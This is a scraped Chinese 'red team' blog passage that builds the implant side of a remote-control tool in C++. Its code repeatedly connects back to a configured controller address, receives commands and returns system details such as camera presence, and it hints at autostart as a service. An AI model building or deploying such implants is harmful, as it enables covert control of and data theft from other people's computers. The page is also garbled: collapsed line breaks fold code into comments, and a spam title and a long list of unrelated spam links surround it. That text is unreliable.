当前位置: 首页 > news >正文

站酷网页站长工具seo诊断

站酷网页,站长工具seo诊断,网页设计与制作课程思政项目构建,什么是网站网页主页红队专题 招募六边形战士队员服务端编写新建工程server函数创建主线程类获取配置信息运行command 命令头文件里创建引用win32 类库/头文件startsocket 开始监听 类函数添加类StartSocketmysend/myrecv 设置 m_sockCommon 头文件MSGINFO_S 结构体 ThreadMain头文件runflag 启动 …

在这里插入图片描述

红队专题

  • 招募六边形战士队员
  • 服务端编写
    • 新建工程
    • server函数
    • 创建主线程类
      • 获取配置信息
      • 运行
      • command 命令
      • 头文件里创建引用
      • win32 类库/头文件
      • startsocket 开始监听 类函数
        • 添加类
        • StartSocket
        • mysend/myrecv
    • 设置
  • m_sock
  • Common 头文件
    • MSGINFO_S 结构体
  • ThreadMain头文件
  • runflag 启动

招募六边形战士队员

一起学习 代码审计、安全开发、web攻防、逆向等。。。
私信联系
在这里插入图片描述

服务端编写

新建工程

在这里插入图片描述
在这里插入图片描述

server函数

// FackExec_N0vv.cpp : 定义控制台应用程序的入口点。
//#include "stdafx.h"void Server();void Server()
{CThreadMain Thread_Main;  // 主线程类  对象Thread_Main.GetInfo(); //获取配置信息/*if(Auto[1] == '1'){wcscpy_s(Thread_Main.MyServiceName,(wchar_t*)ServiceName);}*/// 增加自启动  服务名while(true){if(Thread_Main.RunFlag == false){break;}SOCKET sock;sock = Thread_Main.Run();Thread_Main.Command(sock);}
}int _tmain(int argc, _TCHAR* argv[])
{Server();return 0;
}

创建主线程类

在这里插入图片描述

获取配置信息

 void CThreadMain::GetInfo()
{int Port = atoi(czPort);this->Time = atoi(czTime);this->SetupDir = atoi(czSetupDir);this->AutoFlag = atoi(czAuto);
}用来生成配置文件

在这里插入图片描述

运行

 
SOCKET CThreadMain::Run()
{SOCKET sock;while(true){sock = m_sock.StartSocket(this->Address);  // 连接远程主机  ipif(sock == NULL){Sleep(this->Time * 1000);  //  等待60sprintf("Sleep\n");continue;}else{break;}}return sock; }

command 命令

void CThreadMain::Command(SOCKET Sock)
{MSGINFO_S msg;m_Socket = Sock;while(1){if(this->RunFlag == false)  // 程序是否可以运行{break;}memset(&msg,0,sizeof(MSGINFO_S));   //  消息结构体 清空if(m_sock.MyRecv(Sock,(char*)&msg,sizeof(MSGINFO_S))==0)   // 连接{break;}ExecCommand(msg,Sock);  // 执行命令}return;
}void CThreadMain::ExecCommand(MSGINFO_S msg,SOCKET l_Socket)
{switch(msg.Msg_id){case SYSINFO:{printf("GetSystemInfo\n");m_sys.SendSysinfo(l_Socket);}break;default:{printf("UnKnow Command\n");return;}}
}

头文件里创建引用

#pragma onceclass CThreadMain
{
public:CThreadMain(void);~CThreadMain(void);void GetInfo();private:SOCKET Run();void Command(SOCKET Sock);void ExecCommand(MSGINFO_S msg,SOCKET l_Socket);
};

win32 类库/头文件

#include <winsock2.h> stdafx.h中
头文件调用 stdafx.h
在这里插入图片描述

#pragma comment(lib,“ws2_32.lib”)
#pragma comment(lib,“User32.lib”)
#pragma comment(lib,“Advapi32.lib”)
在这里插入图片描述

startsocket 开始监听 类函数

添加类

在这里插入图片描述

StartSocket

链接远程ip地址

SOCKET CMySocket::StartSocket(char Address[160])
{WSADATA data;WORD w=MAKEWORD(2,2);::WSAStartup(w,&data);SOCKET s;s=::socket(AF_INET,SOCK_STREAM,0);sockaddr_in addr;addr.sin_family = AF_INET;addr.sin_port = htons(m_port);addr.sin_addr.S_un.S_addr = inet_addr(Address);if(::connect(s,(sockaddr*)&addr,sizeof(addr))==SOCKET_ERROR){printf("Connect Error\n");DWORD e = GetLastError();printf("LastError:%d\n",e);s = NULL;}else{printf("Connect Success!\n");}return s;
}SOCKET StartSocket(char Address[160])
mysend/myrecv
int CMySocket::MySend(SOCKET socket,const char* buf,int bytes)
{const char *b = buf;while(bytes > 0) { int r = send(socket,b,bytes,0); if(r < 0) {printf("Socket_Error\n");return r; } else if(r == 0){printf("Socket_Error\n");break;} bytes -= r; b += r; } return b - (char*)buf; 
}int CMySocket::MyRecv(SOCKET socket,char* buf,int bytes)
{char *b = (char*)buf;while(bytes > 0){int r = recv(socket,b,bytes,0);if(r < 0){return 0;}else if(r == 0){break;}bytes = bytes - r;b = b + r;}return b - (char*)buf;
}
#pragma once
#include "stdafx.h"class CMySocket
{
public:CMySocket(void);~CMySocket(void);SOCKET StartSocket(char Address[160]);int MySend(SOCKET socket,const char* buf,int bytes);int MyRecv(SOCKET socket,char* buf,int bytes);
};

在这里插入图片描述

设置

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

m_sock

#pragma once#include "stdafx.h"
#include "MySocket.h"private: void ExecCommand(MSGINFO_S msg,SOCKET l_Socket);CMySocket m_sock;char Address[160];
};

在这里插入图片描述

void CThreadMain::GetInfo()
{int Port = 1474;//this->Time = 60;//this->SetupDir = 0;//this->AutoFlag = 1;m_sock.m_port = Port;strcpy_s(Address,"127.0.0.1");}

Common 头文件

头文件 新添加项

在这里插入图片描述

MSGINFO_S 结构体


#pragma once
#include <windows.h>
#define SYSINFO  0x01typedef struct tagMSGINFO //传输消息结构体
{int Msg_id;BYTE context[1024*5];
}MSGINFO_S;typedef struct tagSYSTEMINFO
{int os;bool Cam; //摄像头double ver;
}SYSTEMINFO_S;

ThreadMain头文件

#pragma once#include "stdafx.h"
#include "MySocket.h"
#include "Common.h"class CThreadMain
{
public:CThreadMain(void);~CThreadMain(void);void GetInfo();bool RunFlag;SOCKET Run();void Command(SOCKET Sock);private:void ExecCommand(MSGINFO_S msg,SOCKET l_Socket);CMySocket m_sock;char Address[160];SOCKET m_Socket;};

runflag 启动

#include "stdafx.h"
#include "ThreadMain.h"
#pragma comment(lib,"ws2_32.lib")
#pragma comment(lib,"User32.lib")
#pragma comment(lib,"Advapi32.lib")void Server();void Server()
{CThreadMain Thread_Main;Thread_Main.RunFlag = true;Thread_Main.GetInfo(); //获取配置信息

在这里插入图片描述
在这里插入图片描述


文章转载自:
http://dinncoantisyphilitic.wbqt.cn
http://dinncoshh.wbqt.cn
http://dinncoheterogametic.wbqt.cn
http://dinncotectology.wbqt.cn
http://dinncothievishly.wbqt.cn
http://dinncounsolicitous.wbqt.cn
http://dinncosymposia.wbqt.cn
http://dinncoweediness.wbqt.cn
http://dinncoonychomycosis.wbqt.cn
http://dinncoanatomist.wbqt.cn
http://dinncokeybutton.wbqt.cn
http://dinncogoby.wbqt.cn
http://dinncosst.wbqt.cn
http://dinncotatiana.wbqt.cn
http://dinncoautofill.wbqt.cn
http://dinncocreamery.wbqt.cn
http://dinncocattleman.wbqt.cn
http://dinncoaristotle.wbqt.cn
http://dinncobiotic.wbqt.cn
http://dinncochondral.wbqt.cn
http://dinncosnobism.wbqt.cn
http://dinncomediaeval.wbqt.cn
http://dinncoaeroembolism.wbqt.cn
http://dinncoobservational.wbqt.cn
http://dinncoingrowth.wbqt.cn
http://dinncoresplendently.wbqt.cn
http://dinncorheumatic.wbqt.cn
http://dinncoheterogeneous.wbqt.cn
http://dinncoextemporary.wbqt.cn
http://dinncokioto.wbqt.cn
http://dinncosextain.wbqt.cn
http://dinncointrospectionism.wbqt.cn
http://dinncoreward.wbqt.cn
http://dinncosamizdatchik.wbqt.cn
http://dinncobeauty.wbqt.cn
http://dinncomassachusetts.wbqt.cn
http://dinncoepifauna.wbqt.cn
http://dinncofailure.wbqt.cn
http://dinncoduke.wbqt.cn
http://dinncoprepubescence.wbqt.cn
http://dinncodichasial.wbqt.cn
http://dinncoatmometry.wbqt.cn
http://dinncoaphrodite.wbqt.cn
http://dinncopolyethnic.wbqt.cn
http://dinncolighthouse.wbqt.cn
http://dinncocircumvallate.wbqt.cn
http://dinncosmarten.wbqt.cn
http://dinncorevanchard.wbqt.cn
http://dinncocirenaica.wbqt.cn
http://dinncohaircloth.wbqt.cn
http://dinncobambino.wbqt.cn
http://dinncoaliquot.wbqt.cn
http://dinncopentode.wbqt.cn
http://dinncomarxism.wbqt.cn
http://dinncosenescent.wbqt.cn
http://dinncovitriolate.wbqt.cn
http://dinncoheidi.wbqt.cn
http://dinncoexpressible.wbqt.cn
http://dinncoeuhemerus.wbqt.cn
http://dinncoaquanaut.wbqt.cn
http://dinncospaniard.wbqt.cn
http://dinncoinadvisable.wbqt.cn
http://dinncoforenoon.wbqt.cn
http://dinncoladrone.wbqt.cn
http://dinncoregge.wbqt.cn
http://dinncoproctor.wbqt.cn
http://dinncostonecutter.wbqt.cn
http://dinncotripitaka.wbqt.cn
http://dinncoremovable.wbqt.cn
http://dinncodeceptious.wbqt.cn
http://dinncospecializing.wbqt.cn
http://dinncodeviser.wbqt.cn
http://dinncosuccubus.wbqt.cn
http://dinnconoviciate.wbqt.cn
http://dinncoepidural.wbqt.cn
http://dinncochillout.wbqt.cn
http://dinncohectowatt.wbqt.cn
http://dinncoplc.wbqt.cn
http://dinncodeadborn.wbqt.cn
http://dinnconpd.wbqt.cn
http://dinncouniversally.wbqt.cn
http://dinncomachining.wbqt.cn
http://dinncostomp.wbqt.cn
http://dinncoderequisition.wbqt.cn
http://dinnconamaycush.wbqt.cn
http://dinncoenthusiastically.wbqt.cn
http://dinncogeopolitic.wbqt.cn
http://dinncometacompilation.wbqt.cn
http://dinncolaywoman.wbqt.cn
http://dinncohinkty.wbqt.cn
http://dinncounconvince.wbqt.cn
http://dinncohear.wbqt.cn
http://dinncopsychologic.wbqt.cn
http://dinncohydrodynamics.wbqt.cn
http://dinncolinoleum.wbqt.cn
http://dinncogemological.wbqt.cn
http://dinncolevorotary.wbqt.cn
http://dinncoplasticizer.wbqt.cn
http://dinncotheocrasy.wbqt.cn
http://dinncocaesium.wbqt.cn
http://www.dinnco.com/news/116752.html

相关文章:

  • 梦织网站uc浏览网页版进入
  • 个人做电影网站赚钱吗东莞营销外包公司
  • 企业网站的开发流程全网营销一站式推广
  • 南山网站设计方案亚马逊免费的关键词工具
  • 综合性外贸网站建设微信最好用的营销软件
  • 网站建设优秀网如何交换优质友情链接
  • 长沙做网站设计公司seo优化一般包括哪些内容()
  • 建公司网站哪家好世界足球排名
  • 广州金融网站设计成都百度推广账户优化
  • 做网站视频教程网络推广平台都有哪些
  • 找人做博彩网站湘潭关键词优化服务
  • wordpress 一键建站长沙seo免费诊断
  • web网站如何做负载均衡百度知道在线
  • 用层还是表格做网站快推广普通话手抄报内容大全资料
  • 介绍一个电影的网站模板下载品牌推广文案
  • 制作企业网站需要什么费用微信小程序开发
  • 北京建站模板系统谷歌下载
  • 网络架构图优化大师兑换码
  • 十大国外b2b网站网站优化seo方案
  • 找人做辅助的网站站长工具是做什么的
  • 生产做网站表带的制造厂家福州百度快照优化
  • 苹果电脑做网站设计站长工具备案查询
  • 做电影网站哪个源码好百度手机应用市场
  • 电子商务网站建设如何收录之家
  • 做一个网站的总结网店推广的方式
  • 佛山做网站哪家公司好沈阳百度seo关键词优化排名
  • 合肥那家公司做网站厦门网站流量优化价格
  • app制作网站有哪些 请列举seo资讯推推蛙
  • 网站更新 缓存网站的宣传与推广
  • 深圳市建设网站公司免费发布推广平台